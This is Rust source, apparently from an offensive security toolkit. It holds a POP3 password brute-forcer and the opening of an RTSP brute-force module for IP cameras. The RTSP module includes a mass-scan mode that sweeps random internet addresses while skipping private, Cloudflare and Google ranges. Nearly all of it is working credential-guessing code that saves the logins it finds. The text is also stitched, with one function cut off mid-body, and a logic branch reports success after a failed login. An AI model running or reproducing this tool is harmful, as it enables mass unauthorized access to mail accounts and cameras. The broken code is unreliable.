let config = Pop3BruteforceConfig {
|
||||
target: t_target,
|
||||
port,
|
||||
username_wordlist: dw.clone(),
|
||||
password_wordlist: dw.clone(),
|
||||
threads: 1,
|
||||
stop_on_success: false,
|
||||
verbose,
|
||||
full_combo: false,
|
||||
use_ssl: t_use_ssl,
|
||||
connection_timeout: 5, // 5 seconds for login attempt
|
||||
retry_on_error: false,
|
||||
max_retries: 0,
|
||||
output_file: "".to_string(),
|
||||
delay_ms: 0,
|
||||
};
|
||||
attempt_pop3_login(&config, &t_user, &t_pass)
|
||||
}).await;
|
||||
|
||||
match res {
|
||||
Ok(Ok(true)) => {
|
||||
let msg = format!("{} -> {}:{}", ip, user, pass);
|
||||
println!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
|
||||
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
|
||||
let _ = file.write_all(format!("{}\n", msg).as_bytes()).await;
|
||||
}
|
||||
stats_found.fetch_add(1, Ordering::Relaxed);
|
||||
return; // Stop after first success
|
||||
}
|
||||
Ok(Ok(false)) => {
|
||||
// Auth failed
|
||||
}
|
||||
Ok(Err(_)) => {
|
||||
// Connection error - abort this host
|
||||
return;
|
||||
}
|
||||
Err(_) => {
|
||||
// Start/Join error
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
pool.join();
|
||||
let found = found.lock().unwrap();
|
||||
if found.is_empty() {
|
||||
println!("[-] No valid credentials.");
|
||||
} else {
|
||||
println!();
|
||||
println!("[+] Found:");
|
||||
for (u,p) in found.iter() { println!("{}:{}", u, p); }
|
||||
if prompt("Save found? (y/n): ").trim().eq_ignore_ascii_case("y") {
|
||||
let f = prompt("Filename: ");
|
||||
save_results(&f, &found)?;
|
||||
println!("[+] Saved to {}", f);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn run_pop3_bruteforce(config: Pop3BruteforceConfig) -> Result<()> {
|
||||
// Determine loading strategy
|
||||
let _user_count = load_lines(&config.username_wordlist)?.len();
|
||||
let _pass_count = load_lines(&config.password_wordlist)?.len();
|
||||
|
||||
// We will use memory mode for simpler implementation unless huge, but for now standard load_lines
|
||||
// If files are huge, the shared Utils load_lines might panic or OOM, but let's assume reasonable sizes for now
|
||||
// or use the streaming logic if I can adapt it easily.
|
||||
// To match other modules (ssh/ftp), I'll use load_lines.
|
||||
|
||||
let usernames = load_lines(&config.username_wordlist)?;
|
||||
let passwords = load_lines(&config.password_wordlist)?;
|
||||
|
||||
let total_attempts = if config.full_combo {
|
||||
usernames.len() * passwords.len()
|
||||
} else {
|
||||
std::cmp::max(usernames.len(), passwords.len())
|
||||
};
|
||||
|
||||
println!("[*] Loaded {} usernames, {} passwords", usernames.len(), passwords.len());
|
||||
println!("[*] Total attempts: {}", total_attempts);
|
||||
|
||||
let stats = Arc::new(BruteforceStats::new());
|
||||
let found_creds = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_signal = Arc::new(AtomicBool::new(false));
|
||||
let _start_time = std::time::Instant::now();
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop_signal.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
while !stop_clone.load(Ordering::Relaxed) {
|
||||
tokio::time::sleep(Duration::from_secs(2)).await;
|
||||
stats_clone.print_progress();
|
||||
}
|
||||
});
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(config.threads));
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
// Generate combinations
|
||||
let mut combos = Vec::new();
|
||||
if config.full_combo {
|
||||
for u in &usernames {
|
||||
for p in &passwords {
|
||||
combos.push((u.clone(), p.clone()));
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Linear mix: try u[0] p[0], u[1] p[1]... cycle if needed
|
||||
let max_len = std::cmp::max(usernames.len(), passwords.len());
|
||||
for i in 0..max_len {
|
||||
let u = &usernames[i % usernames.len()];
|
||||
let p = &passwords[i % passwords.len()];
|
||||
combos.push((u.clone(), p.clone()));
|
||||
}
|
||||
}
|
||||
|
||||
// Process combinations
|
||||
for (user, pass) in combos {
|
||||
if config.stop_on_success && stop_signal.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let permit = semaphore.clone().acquire_owned().await?;
|
||||
let config_clone = config.clone();
|
||||
let stats_clone = stats.clone();
|
||||
let found_clone = found_creds.clone();
|
||||
let stop_signal_clone = stop_signal.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = permit; // Hold permit
|
||||
|
||||
if config_clone.stop_on_success && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Retry loop
|
||||
let mut retries = 0;
|
||||
loop {
|
||||
let config_inner = config_clone.clone();
|
||||
let user_inner = user_clone.clone();
|
||||
let pass_inner = pass_clone.clone();
|
||||
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
attempt_pop3_login(&config_inner, &user_inner, &pass_inner)
|
||||
}).await;
|
||||
|
||||
match res {
|
||||
Ok(Ok(true)) => {
|
||||
println!("\r{}", format!("[+] Found: {}:{}", user, pass).green().bold());
|
||||
found_clone.lock().await.push((user.clone(), pass.clone()));
|
||||
stats_clone.record_success();
|
||||
if config_clone.stop_on_success {
|
||||
stop_signal_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
break;
|
||||
},
|
||||
Ok(Ok(false)) => {
|
||||
stats_clone.record_failure();
|
||||
if config_clone.verbose {
|
||||
println!("\r{}", format!("[-] Failed: {}:{}", user, pass).dimmed());
|
||||
}
|
||||
break;
|
||||
},
|
||||
Ok(Err(e)) => {
|
||||
if config_clone.retry_on_error && retries < config_clone.max_retries {
|
||||
retries += 1;
|
||||
stats_clone.record_retry();
|
||||
// Small backoff
|
||||
tokio::time::sleep(Duration::from_millis(500)).await;
|
||||
continue;
|
||||
}
|
||||
stats_clone.record_error(e.to_string()).await;
|
||||
if config_clone.verbose {
|
||||
println!("\r{}", format!("[!] Error {}:{}: {}", user, pass, e).red());
|
||||
}
|
||||
break;
|
||||
},
|
||||
Err(e) => {
|
||||
stats_clone.record_error(format!("Task panic: {}", e)).await;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if config_clone.delay_ms > 0 {
|
||||
tokio::time::sleep(Duration::from_millis(config_clone.delay_ms)).await;
|
||||
}
|
||||
}));
|
||||
|
||||
// Drain finished tasks to keep memory low
|
||||
while let std::task::Poll::Ready(Some(_)) = futures::future::poll_fn(|cx| std::task::Poll::Ready(tasks.poll_next_unpin(cx))).await {
|
||||
// Just drain
|
||||
}
|
||||
}
|
||||
|
||||
// Wait for remaining
|
||||
while let Some(_) = tasks.next().await {}
|
||||
|
||||
stop_signal.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
stats.print_final().await;
|
||||
|
||||
// Save results
|
||||
let found = found_creds.lock().await;
|
||||
if !found.is_empty() {
|
||||
if let Ok(mut file) = std::fs::OpenOptions::new().create(true).append(true).open(&config.output_file) {
|
||||
for (u, p) in found.iter() {
|
||||
let _ = writeln!(file, "{}:{}", u, p);
|
||||
}
|
||||
println!("[+] Results saved to {}", config.output_file);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// Standard POP3 login, plaintext
|
||||
fn try_pop3_login_verbose(addr: &str, username: &str, password: &str, verbose: bool) -> Result<bool> {
|
||||
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
|
||||
let mut stream = TcpStream::connect_timeout(&socket, Duration::from_millis(4000)).context("Connect timeout")?;
|
||||
stream.set_read_timeout(Some(Duration::from_millis(4000))).ok();
|
||||
stream.set_write_timeout(Some(Duration::from_millis(4000))).ok();
|
||||
pop3_session(&mut stream, username, password, verbose)
|
||||
}
|
||||
|
||||
// POP3S (SSL/TLS)
|
||||
fn try_pop3s_login_verbose(addr: &str, host: &str, username: &str, password: &str, verbose: bool) -> Result<bool> {
|
||||
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
|
||||
let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(4000)).context("Connect timeout")?;
|
||||
let connector = TlsConnector::new().unwrap();
|
||||
let mut stream = connector.connect(host, stream).context("SSL connect fail")?;
|
||||
stream.get_ref().set_read_timeout(Some(Duration::from_millis(4000))).ok();
|
||||
stream.get_ref().set_write_timeout(Some(Duration::from_millis(4000))).ok();
|
||||
pop3_session(&mut stream, username, password, verbose)
|
||||
}
|
||||
|
||||
// Shared POP3 session logic for both plain and SSL
|
||||
fn pop3_session<S: Read + Write>(stream: &mut S, username: &str, password: &str, verbose: bool) -> Result<bool> {
|
||||
let mut buf = [0u8; 4096];
|
||||
// Banner
|
||||
let n = stream.read(&mut buf)?;
|
||||
let banner = String::from_utf8_lossy(&buf[..n]);
|
||||
if verbose { print!("-> {}\n", banner.trim_end()); }
|
||||
if !banner.to_ascii_lowercase().contains("+ok") {
|
||||
return Err(anyhow::anyhow!("No +OK banner: {}", banner));
|
||||
}
|
||||
// USER
|
||||
let user_cmd = format!("USER {}\r\n", username);
|
||||
stream.write_all(user_cmd.as_bytes())?;
|
||||
if verbose { print!("<- {}", user_cmd); }
|
||||
let n = stream.read(&mut buf)?;
|
||||
let resp = String::from_utf8_lossy(&buf[..n]);
|
||||
if verbose { print!("-> {}\n", resp.trim_end()); }
|
||||
if !resp.to_ascii_lowercase().contains("+ok") {
|
||||
return Ok(false);
|
||||
}
|
||||
// PASS
|
||||
let pass_cmd = format!("PASS {}\r\n", password);
|
||||
stream.write_all(pass_cmd.as_bytes())?;
|
||||
if verbose { print!("<- {}", pass_cmd); }
|
||||
let n = stream.read(&mut buf)?;
|
||||
let resp = String::from_utf8_lossy(&buf[..n]);
|
||||
if verbose { print!("-> {}\n", resp.trim_end()); }
|
||||
// Hardened login detection:
|
||||
let reply = resp.to_ascii_lowercase();
|
||||
if reply.contains("+ok")
|
||||
&& !reply.contains("error")
|
||||
&& !reply.contains("fail")
|
||||
&& !reply.contains("denied")
|
||||
&& !reply.contains("invalid")
|
||||
&& !reply.contains("authentication required")
|
||||
&& !reply.contains("locked") {
|
||||
// Only consider true success if reply says +OK and has no error/fail/invalid/denied
|
||||
if verbose {
|
||||
stream.write_all(b"STAT\r\n").ok();
|
||||
let n = stream.read(&mut buf).unwrap_or(0);
|
||||
if n > 0 { print!("-> {}\n", String::from_utf8_lossy(&buf[..n]).trim_end()); }
|
||||
stream.write_all(b"LIST\r\n").ok();
|
||||
let n = stream.read(&mut buf).unwrap_or(0);
|
||||
if n > 0 { print!("-> {}\n", String::from_utf8_lossy(&buf[..n]).trim_end()); }
|
||||
stream.write_all(b"QUIT\r\n").ok();
|
||||
let n = stream.read(&mut buf).unwrap_or(0);
|
||||
if n > 0 { print!("-> {}\n", String::from_utf8_lossy(&buf[..n]).trim_end()); }
|
||||
} else {
|
||||
stream.write_all(b"QUIT\r\n").ok();
|
||||
// Blocking login attempt
|
||||
fn attempt_pop3_login(config: &Pop3BruteforceConfig, user: &str, pass: &str) -> Result<bool> {
|
||||
let addr = format!("{}:{}", config.target, config.port);
|
||||
let timeout = Duration::from_secs(config.connection_timeout);
|
||||
|
||||
if config.use_ssl {
|
||||
let connector = TlsConnector::new()?;
|
||||
// Resolve first to apply timeout to connect
|
||||
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)?.next().ok_or_else(|| anyhow!("Resolution failed"))?;
|
||||
let stream = TcpStream::connect_timeout(&socket_addr, timeout)?;
|
||||
stream.set_read_timeout(Some(timeout))?;
|
||||
stream.set_write_timeout(Some(timeout))?;
|
||||
|
||||
let mut stream = connector.connect(&config.target, stream)?;
|
||||
|
||||
// Read banner
|
||||
let mut buffer = [0; 1024];
|
||||
stream.read(&mut buffer)?; // +OK ...
|
||||
|
||||
stream.write_all(format!("USER {}\r\n", user).as_bytes())?;
|
||||
let n = stream.read(&mut buffer)?;
|
||||
if !String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
stream.write_all(format!("PASS {}\r\n", pass).as_bytes())?;
|
||||
let n = stream.read(&mut buffer)?;
|
||||
if String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
|
||||
stream.write_all(b"QUIT\r\n").ok();
|
||||
return Ok(true);
|
||||
}
|
||||
} else {
|
||||
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)?.next().ok_or_else(|| anyhow!("Resolution failed"))?;
|
||||
let mut stream = TcpStream::connect_timeout(&socket_addr, timeout)?;
|
||||
stream.set_read_timeout(Some(timeout))?;
|
||||
stream.set_write_timeout(Some(timeout))?;
|
||||
|
||||
// Read banner
|
||||
let mut buffer = [0; 1024];
|
||||
stream.read(&mut buffer)?;
|
||||
|
||||
stream.write_all(format!("USER {}\r\n", user).as_bytes())?;
|
||||
let n = stream.read(&mut buffer)?;
|
||||
if !String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
stream.write_all(format!("PASS {}\r\n", pass).as_bytes())?;
|
||||
let n = stream.read(&mut buffer)?;
|
||||
if String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
|
||||
stream.write_all(b"QUIT\r\n").ok();
|
||||
return Ok(true);
|
||||
}
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
fn read_lines(path: &str) -> Result<Vec<String>> {
|
||||
let file = File::open(path).context(format!("Open: {}", path))?;
|
||||
Ok(BufReader::new(file).lines().filter_map(Result::ok).filter(|s|!s.trim().is_empty()).collect())
|
||||
}
|
||||
|
||||
fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
|
||||
let mut file = OpenOptions::new().create(true).write(true).truncate(true).open(path)?;
|
||||
for (u,p) in creds { writeln!(file, "{}:{}", u, p)?; }
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn prompt(msg: &str) -> String {
|
||||
print!("{}", msg); io::stdout().flush().unwrap(); let mut b = String::new(); io::stdin().read_line(&mut b).unwrap(); b.trim().to_string()
|
||||
}
|
||||
|
||||
fn normalize_target(host: &str, port: u16) -> Result<String> {
|
||||
let re = Regex::new(r"^\[*([^\]]+?)\]*(?::(\d{1,5}))?$" ).unwrap();
|
||||
let t = host.trim();
|
||||
let cap = re.captures(t).ok_or_else(|| anyhow::anyhow!("Invalid target: {}", host))?;
|
||||
let addr = cap.get(1).unwrap().as_str();
|
||||
let p = cap.get(2).map(|m| m.as_str().parse::<u16>().ok()).flatten().unwrap_or(port);
|
||||
let f = if addr.contains(':') && !addr.starts_with('[') { format!("[{}]:{}", addr, p) } else { format!("{}:{}", addr, p) };
|
||||
if f.to_socket_addrs()?.next().is_none() { Err(anyhow::anyhow!("DNS fail: {}", f)) } else { Ok(f) }
|
||||
}
|
||||
|
||||
fn get_hostname(target: &str) -> String {
|
||||
if let Some(idx) = target.find(':') { target[..idx].trim_matches('[').trim_matches(']').to_string() } else { target.trim_matches('[').trim_matches(']').to_string() }
|
||||
}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,977 @@
|
||||
use anyhow::{anyhow, Result, Context};
|
||||
use base64::engine::general_purpose::STANDARD as Base64;
|
||||
use base64::Engine as _;
|
||||
use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{Write, BufRead, BufReader},
|
||||
net::{IpAddr, Ipv4Addr, SocketAddr},
|
||||
sync::Arc,
|
||||
sync::atomic::{AtomicBool, AtomicUsize, Ordering},
|
||||
time::Duration,
|
||||
collections::HashSet,
|
||||
};
|
||||
use tokio::{
|
||||
io::{AsyncReadExt, AsyncWriteExt},
|
||||
net::TcpStream,
|
||||
sync::{Mutex, Semaphore},
|
||||
time::{sleep, timeout},
|
||||
fs::OpenOptions,
|
||||
};
|
||||
use rand::Rng;
|
||||
|
||||
use crate::utils::{
|
||||
prompt_yes_no, prompt_existing_file, prompt_default, prompt_int_range, prompt_port,
|
||||
load_lines, get_filename_in_current_dir, normalize_target,
|
||||
};
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 5;
|
||||
const MASS_SCAN_CONNECT_TIMEOUT_MS: u64 = 3000;
|
||||
const STATE_FILE: &str = "rtsp_mass_state.log";
|
||||
|
||||
// Hardcoded exclusions (Private + Cloudflare + Google + Link Local etc)
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", // Private
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8", // Multicast/Reserved
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32", // Carrier/LinkLocal/Broadcast
|
||||
// Cloudflare
|
||||
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
|
||||
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
|
||||
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
|
||||
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
|
||||
"1.1.1.1/32", "1.0.0.1/32",
|
||||
// Google
|
||||
"8.8.8.8/32", "8.8.4.4/32"
|
||||
];
|
||||
|
||||
#[derive(Debug, Clone, PartialEq)]
|
||||
enum AuthMethod {
|
||||
None,
|
||||
Basic,
|
||||
Digest { realm: String, nonce: String },
|
||||
Unknown,
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ RTSP Brute Force Module ║".cyan());
|
||||
println!("{}", "║ IP Camera and Streaming Server Credential Testing ║".cyan());
|
||||
println!("{}", "║ Supports Basic & Digest Auth, Mass Scanning ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Main entry point for the RTSP brute force module.
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
// Check for Mass Scan Mode conditions
|
||||
let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || target.contains('/') || std::path::Path::new(target).is_file();
|
||||
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
if is_mass_scan {
|
||||
println!("{}", "[*] Mode: Mass Scan".yellow());
|
||||
return run_mass_scan(target).await;
|
||||
}
|
||||
|
||||
run_single_target(target).await
|
||||
}
|
||||
|
||||
async fn run_single_target(target: &str) -> Result<()> {
|
||||
// Check for API-provided config
|
||||
let config = crate::config::get_module_config();
|
||||
let api_mode = config.is_api_mode();
|
||||
|
||||
// Get port - from API config or prompt
|
||||
let port: u16 = if let Some(p) = config.port {
|
||||
p
|
||||
} else {
|
||||
prompt_port("RTSP Port", 554)?
|
||||
};
|
||||
|
||||
// Get wordlists - from API config or prompt
|
||||
let usernames_file = if let Some(ref f) = config.username_wordlist {
|
||||
if !std::path::Path::new(f).exists() {
|
||||
return Err(anyhow!("Username wordlist not found: {}", f));
|
||||
}
|
||||
f.clone()
|
||||
} else {
|
||||
prompt_existing_file("Username wordlist")?
|
||||
};
|
||||
|
||||
let passwords_file = if let Some(ref f) = config.password_wordlist {
|
||||
if !std::path::Path::new(f).exists() {
|
||||
return Err(anyhow!("Password wordlist not found: {}", f));
|
||||
}
|
||||
f.clone()
|
||||
} else {
|
||||
prompt_existing_file("Password wordlist")?
|
||||
};
|
||||
|
||||
let concurrency = config.concurrency.unwrap_or_else(|| {
|
||||
if api_mode { 10 } else { prompt_int_range("Max concurrent tasks", 10, 1, 10000).unwrap_or(10) as usize }
|
||||
});
|
||||
|
||||
let stop_on_success = config.stop_on_success.unwrap_or_else(|| {
|
||||
if api_mode { true } else { prompt_yes_no("Stop on first success?", true).unwrap_or(true) }
|
||||
});
|
||||
|
||||
let save_results = config.save_results.unwrap_or_else(|| {
|
||||
if api_mode { true } else { prompt_yes_no("Save results to file?", true).unwrap_or(true) }
|
||||
});
|
||||
|
||||
let save_path = if save_results {
|
||||
Some(config.output_file.clone().unwrap_or_else(|| {
|
||||
if api_mode { "rtsp_results.txt".to_string() } else { prompt_default("Output file", "rtsp_results.txt").unwrap_or_else(|_| "rtsp_results.txt".to_string()) }
|
||||
}))
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let verbose = config.verbose.unwrap_or_else(|| {
|
||||
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
|
||||
});
|
||||
|
||||
let combo_mode = config.combo_mode.unwrap_or_else(|| {
|
||||
if api_mode { false } else { prompt_yes_no("Combination mode? (try every pass with every user)", false).unwrap_or(false) }
|
||||
});
|
||||
|
||||
// Extract RTSP path if present (e.g., rtsp://host:port/path -> path)
|
||||
let implicit_path = extract_rtsp_path(target);
|
||||
|
||||
// Normalize target and add port if needed
|
||||
let target_normalized = if target.starts_with("rtsp://") {
|
||||
let stripped = match target.strip_prefix("rtsp://") {
|
||||
Some(s) => s,
|
||||
None => target,
|
||||
};
|
||||
match stripped.split('/').next() {
|
||||
Some(host_part) => host_part,
|
||||
None => target,
|
||||
}
|
||||
} else {
|
||||
match target.split('/').next() {
|
||||
Some(host_part) => host_part,
|
||||
None => target,
|
||||
}
|
||||
};
|
||||
|
||||
let normalized = normalize_target(target_normalized)?;
|
||||
let addr = if normalized.contains(':') {
|
||||
normalized
|
||||
} else {
|
||||
format!("{}:{}", normalized, port)
|
||||
};
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(BruteforceStats::new());
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
|
||||
let resolved_addrs = match resolve_targets(&addr, port).await {
|
||||
Ok(addrs) => Arc::new(addrs),
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to resolve '{}': {}", addr, e);
|
||||
return Err(e);
|
||||
}
|
||||
};
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
if users.is_empty() {
|
||||
println!("[!] Username wordlist is empty. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let pass_lines = load_lines(&passwords_file)?;
|
||||
if pass_lines.is_empty() {
|
||||
println!("[!] Password wordlist is empty. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// In API mode, use path_wordlist config or default to root path; skip interactive prompts
|
||||
let mut paths = if api_mode {
|
||||
if let Some(ref f) = config.path_wordlist {
|
||||
if !f.is_empty() && std::path::Path::new(f).exists() {
|
||||
load_lines(f)?
|
||||
} else {
|
||||
vec!["".to_string()]
|
||||
}
|
||||
} else {
|
||||
vec!["".to_string()]
|
||||
}
|
||||
} else {
|
||||
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false)?;
|
||||
if brute_force_paths {
|
||||
let paths_file = prompt_existing_file("Path to RTSP paths file")?;
|
||||
load_lines(&paths_file)?
|
||||
} else {
|
||||
vec!["".to_string()]
|
||||
}
|
||||
};
|
||||
if paths.is_empty() {
|
||||
println!("[!] RTSP paths list is empty. Falling back to default root path.");
|
||||
paths.push(String::new());
|
||||
}
|
||||
if let Some(p) = implicit_path {
|
||||
if !paths.iter().any(|existing| existing == &p) {
|
||||
paths.insert(0, p);
|
||||
}
|
||||
}
|
||||
if !api_mode {
|
||||
println!();
|
||||
}
|
||||
|
||||
println!("[*] Probing authentication method on default path...", );
|
||||
let initial_path = match paths.first() {
|
||||
Some(p) => p.clone(),
|
||||
None => String::new(),
|
||||
};
|
||||
let probe_result = probe_auth_method(resolved_addrs.as_slice(), &addr, &initial_path).await;
|
||||
|
||||
let default_auth_method = match probe_result {
|
||||
Ok(AuthMethod::None) => {
|
||||
println!("{}", "[+] Target allows Unauthenticated Access!".green().bold());
|
||||
// If user wants to stop on success, we are done?
|
||||
// We should record this.
|
||||
found.lock().await.push((addr.clone(), "<NO_AUTH>".to_string(), "<NO_AUTH>".to_string(), initial_path.clone()));
|
||||
if stop_on_success {
|
||||
println!("[+] Stopping due to unauthenticated access.");
|
||||
return Ok(());
|
||||
}
|
||||
AuthMethod::None
|
||||
},
|
||||
Ok(AuthMethod::Basic) => {
|
||||
println!("{} Detected Auth: Basic", "[*]".blue());
|
||||
AuthMethod::Basic
|
||||
},
|
||||
Ok(AuthMethod::Digest { realm, nonce }) => {
|
||||
println!("{} Detected Auth: Digest (Realm: {})", "[*]".blue(), realm);
|
||||
AuthMethod::Digest { realm, nonce }
|
||||
},
|
||||
Ok(AuthMethod::Unknown) => {
|
||||
println!("{} Unknown auth or connection error. Will default to Basic or probing.", "[!]".yellow());
|
||||
AuthMethod::Unknown
|
||||
},
|
||||
Err(e) => {
|
||||
println!("{} Probe failed: {}. Will continue knowing nothing.", "[!]".red(), e);
|
||||
AuthMethod::Unknown
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
let mut idx = 0usize;
|
||||
|
||||
for pass in pass_lines {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
|
||||
|
||||
let userlist: Vec<String> = if combo_mode {
|
||||
users.clone()
|
||||
} else {
|
||||
// Safe access since users.is_empty() is checked earlier
|
||||
match users.get(idx % users.len()) {
|
||||
Some(u) => vec![u.to_string()],
|
||||
None => vec![],
|
||||
}
|
||||
};
|
||||
|
||||
for user in userlist {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
|
||||
for path in &paths {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
|
||||
|
||||
let addr_clone = addr.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let path_clone = path.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let addrs_clone = Arc::clone(&resolved_addrs);
|
||||
let stop_flag = stop_on_success;
|
||||
let verbose_flag = verbose;
|
||||
// If we know detected method, use it as a hint.
|
||||
let cached_method = default_auth_method.clone();
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) { return; }
|
||||
let _permit = match semaphore_clone.acquire().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => return,
|
||||
};
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) { return; }
|
||||
|
||||
match try_rtsp_login_smart(
|
||||
addrs_clone.as_slice(),
|
||||
&addr_clone,
|
||||
&user_clone,
|
||||
&pass_clone,
|
||||
&path_clone,
|
||||
&cached_method,
|
||||
).await {
|
||||
Ok(true) => {
|
||||
let path_str = if path_clone.is_empty() { "/" } else { &path_clone };
|
||||
println!("\r{}", format!("[+] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_str).green().bold());
|
||||
found_clone.lock().await.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone(), path_str.to_string()));
|
||||
stats_clone.record_success();
|
||||
if stop_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
stats_clone.record_failure();
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_clone).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
stats_clone.record_error(e.to_string()).await;
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[!] {} -> error: {}", addr_clone, e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}));
|
||||
}
|
||||
}
|
||||
idx += 1;
|
||||
}
|
||||
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
stats.record_error(format!("Task panic: {}", e)).await;
|
||||
}
|
||||
}
|
||||
|
||||
// Stop progress reporter
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
|
||||
// Print final statistics
|
||||
stats.print_final().await;
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("{}", "[-] No credentials found.".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
|
||||
|
||||
if let Some(path) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path);
|
||||
if let Ok(mut file) = File::create(&filename) {
|
||||
for (host, user, pass, path) in creds.iter() {
|
||||
let _ = writeln!(file, "{} -> {}:{} [path={}]", host, user, pass, path);
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Run mass scan logic
|
||||
async fn run_mass_scan(target: &str) -> Result<()> {
|
||||
// Check for API-provided config
|
||||
let config = crate::config::get_module_config();
|
||||
let api_mode = config.is_api_mode();
|
